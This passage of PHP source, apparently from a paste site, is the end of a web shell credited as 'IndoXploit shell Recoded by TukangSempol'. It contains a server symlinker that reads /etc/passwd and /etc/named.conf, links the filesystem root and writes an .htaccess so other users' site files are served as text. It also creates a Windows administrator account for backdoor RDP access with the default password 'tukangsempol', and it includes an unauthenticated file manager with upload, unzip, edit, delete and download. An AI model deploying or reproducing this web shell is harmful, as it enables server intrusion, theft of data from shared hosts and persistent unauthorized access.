  1852.             $zip->close();
  1853.  
  1854.             unlink($targetzip);
  1855.         }
  1856.         $message = "<b>Sukses Gan :)</b>";
  1857.     } else {   
  1858.         $message = "<b>Error Gan :(</b>";
  1859.     }
  1860. }  
  1861. echo '<table style="width:100%" border="1">
  1862.  <tr><td><h2><font color=red>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  1863. <label>Zip File : <input type="file" name="zip_file" /></label>
  1864. <input type="submit" name="submit" value="Upload And Unzip" />
  1865. </form>';
  1866. if($message) echo "<p>$message</p>";
  1867. echo "</td><td><h2><font color=red>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/jancok_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";   
  1868.     if($_POST['backup']){
  1869.     $save=$_POST['save'];
  1870.     function Zip($source, $destination)
  1871. {
  1872.     if (extension_loaded('zip') === true)
  1873.     {
  1874.         if (file_exists($source) === true)
  1875.         {
  1876.             $zip = new ZipArchive();
  1877.  
  1878.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  1879.             {
  1880.                 $source = realpath($source);
  1881.  
  1882.                 if (is_dir($source) === true)
  1883.                 {
  1884.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  1885.  
  1886.                     foreach ($files as $file)
  1887.                     {
  1888.                         $file = realpath($file);
  1889.  
  1890.                         if (is_dir($file) === true)
  1891.                         {
  1892.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  1893.                         }
  1894.  
  1895.                         else if (is_file($file) === true)
  1896.                         {
  1897.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  1898.                         }
  1899.                     }
  1900.                 }
  1901.  
  1902.                 else if (is_file($source) === true)
  1903.                 {
  1904.                     $zip->addFromString(basename($source), file_get_contents($source));
  1905.                 }
  1906.             }
  1907.  
  1908.             return $zip->close();
  1909.         }
  1910.     }
  1911.  
  1912.     return false;
  1913. }
  1914.     Zip($_POST['dir'],$save);
  1915.     echo "Done , Save To <b>$save</b>";
  1916.     }
  1917.     echo "</td><td><h2><font color=red>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/jancok_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  1918.     if($_POST['extrak']){
  1919.     $save=$_POST['save'];
  1920.     $zip = new ZipArchive;
  1921.     $res = $zip->open($_POST['dir']);
  1922.     if ($res === TRUE) {
  1923.         $zip->extractTo($save);
  1924.         $zip->close();
  1925.     echo 'Succes , Location : <b>'.$save.'</b>';
  1926.     } else {
  1927.     echo 'Gagal Mas :( Ntahlah !';
  1928.     }
  1929.     }
  1930. echo '</tr></table>';  
  1931. }elseif($_GET['do'] == 'symlink') {
  1932. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1933. $d0mains = @file("/etc/named.conf");
  1934. ##httaces
  1935. if($d0mains){
  1936. @mkdir("jancok_sym",0777);
  1937. @chdir("jancok_sym");
  1938. @exe("ln -s / root");
  1939. $file3 = 'Options Indexes FollowSymLinks
  1940. DirectoryIndex jancox.htm
  1941. AddType text/plain .php
  1942. AddHandler text/plain .php
  1943. Satisfy Any';
  1944. $fp3 = fopen('.htaccess','w');
  1945. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  1946. echo "
  1947. <table align=center border=1 style='width:60%;border-color:#333333;'>
  1948. <tr>
  1949. <td align=center><font size=2><font color=orange>S. No.</font></td>
  1950. <td align=center><font size=2><font color=orange>Domains</font></td>
  1951. <td align=center><font size=2><font color=orange>Users</font></td>
  1952. <td align=center><font size=2><font color=orange>Symlink</font></td>
  1953. </tr>";
  1954. $dcount = 1;
  1955. foreach($d0mains as $d0main){
  1956. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1957. flush();
  1958. if(strlen(trim($domains[1][0])) > 2){
  1959. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1960. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  1961. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  1962. <td>".$user['name']."</td>
  1963. <td><a href='$full/jancok_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  1964. flush();
  1965. $dcount++;}}}
  1966. echo "</table>";
  1967. }else{
  1968. $TEST=@file('/etc/passwd');
  1969. if ($TEST){
  1970. @mkdir("jancok_sym",0777);
  1971. @chdir("jancok_sym");
  1972. exe("ln -s / root");
  1973. $file3 = 'Options Indexes FollowSymLinks
  1974. DirectoryIndex jancox.htm
  1975. AddType text/plain .php
  1976. AddHandler text/plain .php
  1977. Satisfy Any';
  1978.  $fp3 = fopen('.htaccess','w');
  1979.  $fw3 = fwrite($fp3,$file3);
  1980.  @fclose($fp3);
  1981.  echo "
  1982. <table align=center border=1><tr>
  1983. <td align=center><font size=3><font color=orange>S. No.</font></td>
  1984. <td align=center><font size=3><font color=orange>Users</font></td>
  1985. <td align=center><font size=3><font color=orange>Symlink</font></td></tr>";
  1986.  $dcount = 1;
  1987.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  1988.  while(!feof($file)){
  1989.  $s = fgets($file);
  1990.  $matches = array();
  1991.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1992.  $matches = str_replace("home/","",$matches[1]);
  1993.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1994.  continue;
  1995.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1996. <td align=center><font class=txt>" . $matches . "</td>";
  1997.  echo "<td align=center><font class=txt><a href=$full/jancok_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  1998.  $dcount++;}fclose($file);
  1999.  echo "</table>";}else{if($os != "Windows"){@mkdir("jancok_sym",0777);@chdir("jancok_sym");@exe("ln -s / root");$file3 = '
  2000. Options Indexes FollowSymLinks
  2001. DirectoryIndex jancox.htm
  2002. AddType text/plain .php
  2003. AddHandler text/plain .php
  2004. Satisfy Any
  2005. ';
  2006.  $fp3 = fopen('.htaccess','w');
  2007.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  2008.  echo "
  2009. <div class='mybox'><h2 class='jancok'>server symlinker</h2>
  2010. <table align=center border=1><tr>
  2011. <td align=center><font size=3><font color=orange>ID</font></td>
  2012. <td align=center><font size=3><font color=orange>Users</font></td>
  2013. <td align=center><font size=3><font color=orange>Symlink</font></td></tr>";
  2014.  $temp = "";$val1 = 0;$val2 = 1000;
  2015.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  2016.  if ($uid)$temp .= join(':',$uid)."\n";}
  2017.  echo '<br/>';$temp = trim($temp);$file5 =
  2018.  fopen("test.txt","w");
  2019.  fputs($file5,$temp);
  2020.  fclose($file5);$dcount = 1;$file =
  2021.  fopen("test.txt", "r") or exit("Unable to open file!");
  2022.  while(!feof($file)){$s = fgets($file);$matches = array();
  2023.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  2024.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2025.  continue;
  2026.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  2027. <td align=center><font class=txt>" . $matches . "</td>";
  2028.  echo "<td align=center><font class=txt><a href=$full/jancok_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2029.  $dcount++;}
  2030.  fclose($file);
  2031.  echo "</table></div></center>";unlink("test.txt");
  2032.  } else
  2033.  echo "<center><font size=3><font color=orange>Cannot create Symlink</font></center>";
  2034.  }
  2035.  }    
  2036. }elseif($_GET['do'] == 'krdp_shell') {
  2037.     if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  2038.         if($_POST['create']) {
  2039.             $user = htmlspecialchars($_POST['user']);
  2040.             $pass = htmlspecialchars($_POST['pass']);
  2041.             if(preg_match("/$user/", exe("net user"))) {
  2042.                 echo "[INFO] -> <font color=red>user <font color=cyan>$user</font> sudah ada</font>";
  2043.             } else {
  2044.                 $add_user   = exe("net user $user $pass /add");
  2045.                 $add_groups1 = exe("net localgroup Administrators $user /add");
  2046.                 $add_groups2 = exe("net localgroup Administrator $user /add");
  2047.                 $add_groups3 = exe("net localgroup Administrateur $user /add");
  2048.                 echo "[ RDP ACCOUNT INFO ]<br>
  2049.                 ------------------------------<br>
  2050.                 IP: <font color=cyan>".gethostbyname($_SERVER['HTTP_HOST'])."</font><br>
  2051.                 Username: <font color=cyan>$user</font><br>
  2052.                 Password: <font color=cyan>$pass</font><br>
  2053.                 ------------------------------<br><br>
  2054.                 [ STATUS ]<br>
  2055.                 ------------------------------<br>
  2056.                 ";
  2057.                 if($add_user) {
  2058.                     echo "[add user] -> <font color='cyan'>Berhasil</font><br>";
  2059.                 } else {
  2060.                     echo "[add user] -> <font color='red'>Gagal</font><br>";
  2061.                 }
  2062.                 if($add_groups1) {
  2063.                     echo "[add localgroup Administrators] -> <font color='cyan'>Berhasil</font><br>";
  2064.                 } elseif($add_groups2) {
  2065.                     echo "[add localgroup Administrator] -> <font color='cyan'>Berhasil</font><br>";
  2066.                 } elseif($add_groups3) {
  2067.                     echo "[add localgroup Administrateur] -> <font color='cyan'>Berhasil</font><br>";
  2068.                 } else {
  2069.                     echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  2070.                 }
  2071.                 echo "------------------------------<br>";
  2072.             }
  2073.         } elseif($_POST['s_opsi']) {
  2074.             $user = htmlspecialchars($_POST['r_user']);
  2075.             if($_POST['opsi'] == '1') {
  2076.                 $cek = exe("net user $user");
  2077.                 echo "Checking username <font color=cyan>$user</font> ....... ";
  2078.                 if(preg_match("/$user/", $cek)) {
  2079.                     echo "[ <font color=cyan>Sudah ada</font> ]<br>
  2080.                     ------------------------------<br><br>
  2081.                     <pre>$cek</pre>";
  2082.                 } else {
  2083.                     echo "[ <font color=red>belum ada</font> ]";
  2084.                 }
  2085.             } elseif($_POST['opsi'] == '2') {
  2086.                 $cek = exe("net user $user tukangsempol");
  2087.                 if(preg_match("/$user/", exe("net user"))) {
  2088.                     echo "[change password: <font color=cyan>tukangsempol</font>] -> ";
  2089.                     if($cek) {
  2090.                         echo "<font color=cyan>siap di pakai kaka</font>";
  2091.                     } else {
  2092.                         echo "<font color=red>Gagal</font>";
  2093.                     }
  2094.                 } else {
  2095.                     echo "[INFO] -> <font color=red>user <font color=cyan>$user</font> belum ada</font>";
  2096.                 }
  2097.             } elseif($_POST['opsi'] == '3') {
  2098.                 $cek = exe("net user $user /DELETE");
  2099.                 if(preg_match("/$user/", exe("net user"))) {
  2100.                     echo "[remove user: <font color=cyan>$user</font>] -> ";
  2101.                     if($cek) {
  2102.                         echo "<font color=cyan>siap di pakai kaka</font>";
  2103.                     } else {
  2104.                         echo "<font color=red>Gagal</font>";
  2105.                     }
  2106.                 } else {
  2107.                     echo "[INFO] -> <font color=red>user <font color=cyan>$user</font> belum ada</font>";
  2108.                 }
  2109.             } else {
  2110.                 //
  2111.             }
  2112.         } else {
  2113.             echo "-- Create RDP --<br>
  2114.             <form method='post'>
  2115.             <input type='text' name='user' placeholder='username' value='tukangsempol' required>
  2116.             <input type='text' name='pass' placeholder='password' value='tukangsempol' required>
  2117.             <input type='submit' name='create' value='>>'>
  2118.             </form>
  2119.             -- Option --<br>
  2120.             <form method='post'>
  2121.             <input type='text' name='r_user' placeholder='username' required>
  2122.             <select name='opsi'>
  2123.             <option value='1'>Cek Username</option>
  2124.             <option value='2'>Ubah Password</option>
  2125.             <option value='3'>Hapus Username</option>
  2126.             </select>
  2127.             <input type='submit' name='s_opsi' value='>>'>
  2128.             </form>
  2129.             ";
  2130.         }
  2131.     } else {
  2132.         echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  2133.     }
  2134. } elseif($_GET['act'] == 'newfile') {
  2135.     if($_POST['new_save_file']) {
  2136.         $newfile = htmlspecialchars($_POST['newfile']);
  2137.         $fopen = fopen($newfile, "a+");
  2138.         if($fopen) {
  2139.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2140.         } else {
  2141.             $act = "<font color=red>permission denied</font>";
  2142.         }
  2143.     }
  2144.     echo $act;
  2145.     echo "<form method='post'>
  2146.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2147.     <input type='submit' name='new_save_file' value='Submit'>
  2148.     </form>";
  2149. } elseif($_GET['act'] == 'newfolder') {
  2150.     if($_POST['new_save_folder']) {
  2151.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2152.         if(!mkdir($new_folder)) {
  2153.             $act = "<font color=red>permission denied</font>";
  2154.         } else {
  2155.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2156.         }
  2157.     }
  2158.     echo $act;
  2159.     echo "<form method='post'>
  2160.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2161.     <input type='submit' name='new_save_folder' value='Submit'>
  2162.     </form>";
  2163. } elseif($_GET['act'] == 'rename_dir') {
  2164.     if($_POST['dir_rename']) {
  2165.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2166.         if($dir_rename) {
  2167.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2168.         } else {
  2169.             $act = "<font color=red>permission denied</font>";
  2170.         }
  2171.     echo "".$act."<br>";
  2172.     }
  2173.     echo "<form method='post'>
  2174.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2175.     <input type='submit' name='dir_rename' value='rename'>
  2176.     </form>";
  2177. } elseif($_GET['act'] == 'delete_dir') {
  2178.     $delete_dir = rmdir($dir);
  2179.     if($delete_dir) {
  2180.         $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2181.     } else {
  2182.         $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2183.     }
  2184.     echo $act;
  2185. } elseif($_GET['act'] == 'view') {
  2186.     echo "Filename: <font color=cyan>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2187.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2188. } elseif($_GET['act'] == 'edit') {
  2189.     if($_POST['save']) {
  2190.         $save = file_put_contents($_GET['file'], $_POST['src']);
  2191.         if($save) {
  2192.             $act = "<font color=cyan>Saved!</font>";
  2193.         } else {
  2194.             $act = "<font color=red>permission denied</font>";
  2195.         }
  2196.     echo "".$act."<br>";
  2197.     }
  2198.     echo "Filename: <font color=cyan>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2199.     echo "<form method='post'>
  2200.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2201.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  2202.     </form>";
  2203. } elseif($_GET['act'] == 'rename') {
  2204.     if($_POST['do_rename']) {
  2205.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2206.         if($rename) {
  2207.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2208.         } else {
  2209.             $act = "<font color=red>permission denied</font>";
  2210.         }
  2211.     echo "".$act."<br>";
  2212.     }
  2213.     echo "Filename: <font color=cyan>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2214.     echo "<form method='post'>
  2215.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2216.     <input type='submit' name='do_rename' value='rename'>
  2217.     </form>";
  2218. } elseif($_GET['act'] == 'delete') {
  2219.     $delete = unlink($_GET['file']);
  2220.     if($delete) {
  2221.         $act = "<script>window.location='?dir=".$dir."';</script>";
  2222.     } else {
  2223.         $act = "<font color=red>permission denied</font>";
  2224.     }
  2225.     echo $act;
  2226. } elseif(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  2227.     @ob_clean();
  2228.     $file = $_GET['file'];
  2229.     @header('Content-Description: File Transfer');
  2230.     @header('Content-Type: application/octet-stream');
  2231.     @header('Content-Disposition: attachment; filename="'.basename($file).'"');
  2232.     @header('Expires: 0');
  2233.     @header('Cache-Control: must-revalidate');
  2234.     @header('Pragma: public');
  2235.     @header('Content-Length: ' . filesize($file));
  2236.     readfile($file);
  2237.     exit;
  2238. } else {
  2239.     if(is_dir($dir) === true) {
  2240.         if(!is_readable($dir)) {
  2241.             echo "<font color=red>can't open directory. ( not readable )</font>";
  2242.         } else {
  2243.             echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center"
  2244.             <tr>
  2245.             <th class="th_home"><center><font color=red>Name</font></center></th>
  2246.             <th class="th_home"><center><font color=red>Type</font></center></th>
  2247.             <th class="th_home"><center><font color=red>Size</font></center></th>
  2248.             <th class="th_home"><center><font color=red>Last Modified</font></center></th>
  2249.             <th class="th_home"><center><font color=red>Owner/Group</font></center></th>
  2250.             <th class="th_home"><center><font color=red>Permission</font></center></th>
  2251.             <th class="th_home"><center><font color=red>Action</font></center></th>
  2252.             </tr>';
  2253.             $scandir = scandir($dir);
  2254.             foreach($scandir as $dirx) {
  2255.                 $dtype = filetype("$dir/$dirx");
  2256.                 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2257.                 if(function_exists('posix_getpwuid')) {
  2258.                     $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  2259.                     $downer = $downer['name'];
  2260.                 } else {
  2261.                     //$downer = $uid;
  2262.                     $downer = fileowner("$dir/$dirx");
  2263.                 }
  2264.                 if(function_exists('posix_getgrgid')) {
  2265.                     $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  2266.                     $dgrp = $dgrp['name'];
  2267.                 } else {
  2268.                     $dgrp = filegroup("$dir/$dirx");
  2269.                 }
  2270.                 if(!is_dir("$dir/$dirx")) continue;
  2271.                 if($dirx === '..') {
  2272.                     $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2273.                 } elseif($dirx === '.') {
  2274.                     $href = "<a href='?dir=$dir'>$dirx</a>";
  2275.                 } else {
  2276.                     $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2277.                 }
  2278.                 if($dirx === '.' || $dirx === '..') {
  2279.                     $act_dir = "<a href='?act=newfile&dir=$dir'><font color=orange>newfile</a></font> | <a href='?act=newfolder&dir=$dir'><font color=orange>newfolder</a></font>";
  2280.                     } else {
  2281.                     $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'><font color=orange>rename</a></font> | <a href='?act=delete_dir&dir=$dir/$dirx'><font color=orange>delete</a></font>";
  2282.                 }
  2283.                 echo "<tr>";
  2284.                 echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2285.                 echo "<td class='td_home'><font color=orange><center>$dtype</center></font></td>";
  2286.                 echo "<td class='td_home'><font color=orange><center>-</center></th></font></td>";
  2287.                 echo "<td class='td_home'><font color=orange><center>$dtime</center></font></td>";
  2288.                 echo "<td class='td_home'><font color=orange><center>$downer/$dgrp</center></font></td>";
  2289.                 echo "<td class='td_home'><font color=orange><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></font></td>";
  2290.                 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2291.                 echo "</tr>";
  2292.             }
  2293.         }
  2294.     } else {
  2295.         echo "<font color=red>can't open directory.</font>";
  2296.     }
  2297.         foreach($scandir as $file) {
  2298.             $ftype = filetype("$dir/$file");
  2299.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2300.             $size = filesize("$dir/$file")/1024;
  2301.             $size = round($size,3);
  2302.             if(function_exists('posix_getpwuid')) {
  2303.                 $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  2304.                 $fowner = $fowner['name'];
  2305.             } else {
  2306.                 //$downer = $uid;
  2307.                 $fowner = fileowner("$dir/$file");
  2308.             }
  2309.             if(function_exists('posix_getgrgid')) {
  2310.                 $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  2311.                 $fgrp = $fgrp['name'];
  2312.             } else {
  2313.                 $fgrp = filegroup("$dir/$file");
  2314.             }
  2315.             if($size > 1024) {
  2316.                 $size = round($size/1024,2). 'MB';
  2317.             } else {
  2318.                 $size = $size. 'KB';
  2319.             }
  2320.             if(!is_file("$dir/$file")) continue;
  2321.             echo "<tr>";
  2322.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2323.             echo "<td class='td_home'><center><font color=orange>$ftype</center></font></td>";
  2324.             echo "<td class='td_home'><center><font color=orange>$size</center></font></td>";
  2325.             echo "<td class='td_home'><center><font color=orange>$ftime</center></font></td>";
  2326.             echo "<td class='td_home'><center><font color=orange>$fowner/$fgrp</center></font></td>";
  2327.             echo "<td class='td_home'><center><font color=orange>".w("$dir/$file",perms("$dir/$file"))."</center></font></td>";
  2328.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'><font color=orange>edit</a></font> | <a href='?act=rename&dir=$dir&file=$dir/$file'><font color=orange>rename</a></font> | <a href='?act=delete&dir=$dir&file=$dir/$file'><font color=orange>delete</a></font> | <a href='?act=download&dir=$dir&file=$dir/$file'><font color=orange>download</a></font></td>";
  2329.             echo "</tr>";
  2330.         }
  2331.         echo "</table>";
  2332.         if(!is_readable($dir)) {
  2333.             //
  2334.         } else {
  2335.             echo "<hr>";
  2336.         }
  2337.     echo "<center><h4><font color=red>IndoXploit shell Recoded by TukangSempol</h4></font></a></center>";
  2338. }
  2339. ?>
  2340. </html>
Add Comment
Please, Sign In to add comment